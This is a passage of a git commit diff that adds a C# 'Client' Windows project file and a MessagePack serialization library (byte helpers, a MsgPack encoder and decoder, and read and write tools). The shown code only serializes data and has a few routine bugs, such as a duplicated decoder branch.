This commit is contained in:
qwqdanchun 2021-12-31 20:59:13 +08:00
parent ba45b24a9a
commit 0174e38474
24 changed files with 3566 additions and 0 deletions

75
Client/Client.csproj Normal file
View File

@ -0,0 +1,75 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{3B85814F-A51D-4572-9325-947C9E8D217B}</ProjectGuid>
<OutputType>WinExe</OutputType>
<RootNamespace>Client</RootNamespace>
<AssemblyName>Client</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
</None>
<Compile Include="Properties\Settings.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,102 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Client.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

View File

@ -0,0 +1,930 @@
/*
* DecodeFormFile函数
* 2015-07-14 16:31:32
*
* ForcePathObject查找不到子对象的bug,(Putree 274638001<spiritring@gmail.com>)
* 2015-07-14 16:32:13
*
* 1270,(Putree 274638001<spiritring@gmail.com>)
* 2015-07-14 15:28:45
*/
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Client.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
MemoryStream ms = new MemoryStream();
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
MemoryStream ms = new MemoryStream();
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Client.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

View File

@ -0,0 +1,84 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Client.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

View File

@ -0,0 +1,203 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Client.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
